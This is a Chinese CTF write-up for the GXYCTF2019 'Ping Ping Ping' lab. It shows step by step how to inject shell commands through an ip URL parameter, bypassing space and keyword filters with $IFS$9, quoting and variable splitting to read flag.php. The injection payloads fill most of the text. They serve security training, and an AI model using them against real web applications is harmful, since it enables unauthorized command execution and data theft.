[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping
打开靶机,可以看到如下图所示:
应该就是让我们传递ip参数
那就传递ip参数
再显示看看有什么文件
试试看能不能直接读取flag文件
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat flag.php
根据语句,想到应该是过滤了空格,再绕过空格试试
这里用$IFS$9的原因是用$IFS可能出现错误,只用$IFS可能会导致后面的字符消失
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9flag.php
还是不行,过滤了flag,再尝试一下其他的绕过方式(单引号,双引号,转义符)
单引号:
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9fl''ag.php
双引号:
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9fl""ag.php
转义符:
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9fl\ag.php
发现都不行,没什么思路,我们想到之前还有一个index.php文件,我们看看这个文件里面是什么内容
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php
由代码可知,只要flag四个字母按顺序出现就会被过滤,这时候我们尝试用变量的方法进行绕过
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;q=ag;w=fl;cat$IFS$9$w$q.php
这时候就可以执行成功,因为在html里会被直接当成注释,所以我们在页面上看不到,要在元素里进行查看
flag就在这里
或者直接tac命令(反向读取文件内容),这样就能把flag直接显示在页面上了
http://adb17dbb-4489-4bc4-ab63-834bd5e4c675.node4.buuoj.cn:81/?ip=127.0.0.1;q=ag;w=fl;tac$IFS$9$w$q.php
flag{c5d6575a-1166-4079-ac0e-d279541e7457}